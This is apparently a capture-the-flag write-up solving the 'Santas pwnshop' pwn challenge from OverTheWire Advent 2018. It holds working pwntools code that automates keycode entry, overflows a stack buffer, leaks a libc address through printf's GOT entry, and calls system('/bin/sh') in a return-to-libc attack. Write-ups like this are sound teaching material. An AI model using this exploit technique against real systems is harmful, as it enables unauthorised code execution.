# Santas pwnshop - Pwn (300)
Link: https://advent2018.overthewire.org/dashboard/challenges
## Task descriptionThe task description just asks us to connect to a IP and port with netcat.So letst do it.![Task](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2013-58-43.png)
## LoginOnce you connect to the specified IP and port you are presented with a simple menu choice.Either leave or get a present. 
![Login](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2013-59-24.png)
Selecting 2 exists, while selecting 1 prints a base64 encoded string to stdout.![base64_1](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2014-00-48.png)![base64_2](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2014-00-25.png)
So far so good. Extracting and decoding the base64 encoded string gives a gziped file which contains a 32bit Linux ELF binary.Running checksec on it gives us following result:
![checksec](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2020-02-09.png)
So now its time to throw the binary into radare and inspect it.The main function is pretty simple so lets jump directly into the print_menu function.
![main](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-19-21.png)![print_menu](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-20-34.png)
Seems that there is a secret menu. If you enter 666 (0x29a) you get presented a prompt where you are asked to enter 16 keycodes.
![secret_menu](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2020-11-38.png)
So lets check with radare what we need to enter.
![keycodes1](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-25-13.png)![keycode2](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-25-56.png)
So it seems like we just need to enter the keycodes and extract them from radare. The code just seems to check for fixed values and then call the win function.Stepping through the code with radare in debug mode and entering the values extracted from radare confirms this.So lets just repeat that on the server. And it fails.Fetching the base64 string again shows that we get a new executable with different expected keycodes each time we connect.
So we need to start automating this. This will also avoid the timeouts which occur if we are not fast enough responding to the prompts from the server.
```pythonfrom pwn import *import timeimport zlib 
#connectconn=remote('18.205.93.120',1205)print conn.recvuntil('Northpole\n')#fetch base64 stringconn.sendline('1')conn.recvuntil('(')s=conn.recvuntil(')')#decode the base64 string and get the gzip filegz=pwnlib.util.fiddling.b64d(s)#extract the binary from the .gz z=zlib.decompress((gz),16 + zlib.MAX_WBITS)#write it to ffff.binf=open('ffff.bin','wb')f.write(z)f.close()#now load the elf fileelf=ELF('ffff.bin')
#addresses of the compare instructions checking the keycodesaddr=['0x080487bf', '0x080487d0', '0x080487ef',           '0x08048800','0x08048811','0x08048830','0x08048841','0x0804884e','0x08048865','0x08048872','0x0804887f','0x08048896']
#get the values we compare against from the elf#and store them in compvalscmpvals=[]for a in addr:     instr=elf.disasm(int(a,0),5)     ad=instr.split(',')[1]     cmpvals.append(ad)
#enter the secret menuconn.recvuntil('Northpole\n')conn.sendline('666')print conn.recvuntil(':')
#enter the keycodes we extracted from the elf into cmpvalsconn.sendline(cmpvals[0])print conn.recvuntil(':')
conn.sendline(cmpvals[1])print conn.recvuntil(':')conn.sendline('33')print conn.recvuntil(':')
conn.sendline(cmpvals[2])print conn.recvuntil(':')
conn.sendline(cmpvals[3])print conn.recvuntil(':')
conn.sendline(cmpvals[4])print conn.recvuntil(':')
conn.sendline('333')print conn.recvuntil(':')
conn.sendline(cmpvals[5])print conn.recvuntil(':')
conn.sendline(cmpvals[6])print conn.recvuntil(':')
conn.sendline(cmpvals[7])print conn.recvuntil(':')
conn.sendline('333')print conn.recvuntil(':')
conn.sendline(cmpvals[8])print conn.recvuntil(':')
conn.sendline(cmpvals[9])print conn.recvuntil(':')
conn.sendline(cmpvals[10])print conn.recvuntil(':')
conn.sendline('333')print conn.recvuntil(':')
conn.sendline(cmpvals[11])print conn.recvuntil('keycode: ')```
ACCESS GRANTED!!! So far so good we entered the correct keycodes.
![correctkeycode](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2020-29-48.png)
We passed the first obstacle.
Now we need to check the win function.
![winfunction](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-27-27.png)
Seems that we reached the point where we need to pwn.The new keycode is read into a buffer which is to small if we enter sufficiently many characters.Seems that up to 800 are allowed.
The stack is not executable (see checksec output) above. So we need to use return to libc or a ROP style attack.So we need to find out at which addr libc is loaded (since its different every startup).We can use the printf function to output it.First we need to find out where it is located. So we need the content of the glibc jumpslot.```objdump -R santa                                                                                                                                                                       
santa:     file format elf32-i386
DYNAMIC RELOCATION RECORDSOFFSET   TYPE              VALUE0804cff4 R_386_GLOB_DAT    __gmon_start__0804cff8 R_386_GLOB_DAT    stdin@GLIBC_2.00804cffc R_386_GLOB_DAT    stdout@GLIBC_2.00804d00c R_386_JUMP_SLOT   read@GLIBC_2.00804d010 R_386_JUMP_SLOT   printf@GLIBC_2.00804d014 R_386_JUMP_SLOT   signal@GLIBC_2.00804d018 R_386_JUMP_SLOT   alarm@GLIBC_2.00804d01c R_386_JUMP_SLOT   puts@GLIBC_2.00804d020 R_386_JUMP_SLOT   exit@GLIBC_2.00804d024 R_386_JUMP_SLOT   strtoul@GLIBC_2.00804d028 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.00804d02c R_386_JUMP_SLOT   setvbuf@GLIBC_2.0```So we need to leak the addr at 0804d010.0804d010 R_386_JUMP_SLOT   printf@GLIBC_2.0
Next we need to use that addr and calculate the offset of system and /bin/bash.So lets get those offsets first.```nm -D libc.so --defined-only | grep " system"0003cd10 W system
nm -D libc.so --defined-only | grep " printf$"00050b60 T printf
strings -tx libc.so | grep "/bin/sh" 17b8cf /bin/sh```
So we need to substract 00050b60 from the addr leaked for the printf slot. And add 0003cd10 to get the system addr or 17b8cf to get the bin/sh string address.
So far so good so we now need to put this things into action.First lets leak the addr of libc.
So we let it jump to 0x08048420. From radare we know its the printf addr. Then we want to return to 0x08048703 back to the win function.And we want to print the content of the printf jumpslot. We could have taken any glibc jumslot available.So lets add 0x0804d010 as the addr we want to print out.```[0x080484b0]> s 0x08048420[0x08048420]> pd 20/ (fcn) sym.imp.printf 6|   sym.imp.printf (const char *format)
[0x080484b0]> s 0x08048703[0x08048703]> pd 20/ (fcn) sym.win 89
[0x08048703]> s 0x0804d010[0x0804d010]> pd 20            ;-- reloc.printf:            ; CODE XREF from sym.imp.printf (0x8048420)            0x0804d010      .dword 0x08048426                          ; RELOC 32 printf
```we can see that the printf addr reloc output matches the one from objdump :).This results into following python snippet.
```python#overwrite the buffer with As including the EBP value. #then put the function addr we want to jump to and the args on the stack
#we jump into printf and wan to get the addresses of libc#so we leak the addr where libc is loaded and from the dowloaded one we get the offset to system and t#the /bin/sh string#0x08048420 is the addr of printf#0x08048803 is the return addr of win where we want to return after printf was done. #we want to get to back to the input prompt# 0804d010 is the GOT entry for a libc function like printf#can be obtained with objdump -R 
conn.sendline('\x41'*16+'\x20\x84\x04\x08'+'\x03\x87\x04\x08'+'\x10\xd0\x04\x08')
#recv back the addr of printf add the addr in mem where libc is loaded
ss=conn.recvn(4)sh= enhex(ss)#get back the base of libc by substracting the printf offsetbase=int(enhex(p32(int(sh,16))),16)-int('0x50b60',16)
#calc the offset of the bin/sh stringshstring=base+int('0x17b8cf',16)
#calc the offset of the system callsystemcall=base+int('0x3cd10',16)```
Now that we have the printf libc addr its time for the final step.We just need to put the addr of libc/system and bin/sh on the stack.Instead of the printf and the printf args.
```python#send the addr of system + return addr to main input + addr of bin sh stringconn.sendline('\x41'*16+p32(systemcall)+'\x03\x87\x04\x08'+p32(shstring))
#getthe flagconn.sendline('cat flag')conn.interactive()```Ok. Here we go and we got the flag:*AOTW{s4nt4_l0v3s_BL4CKh4ts}*
The full python script can be found here:https://github.com/zero815/otwadvent2018-ctf/blob/master/santa_pwn.pyI am no python expert and this is a hack and does not follow any coding styles :).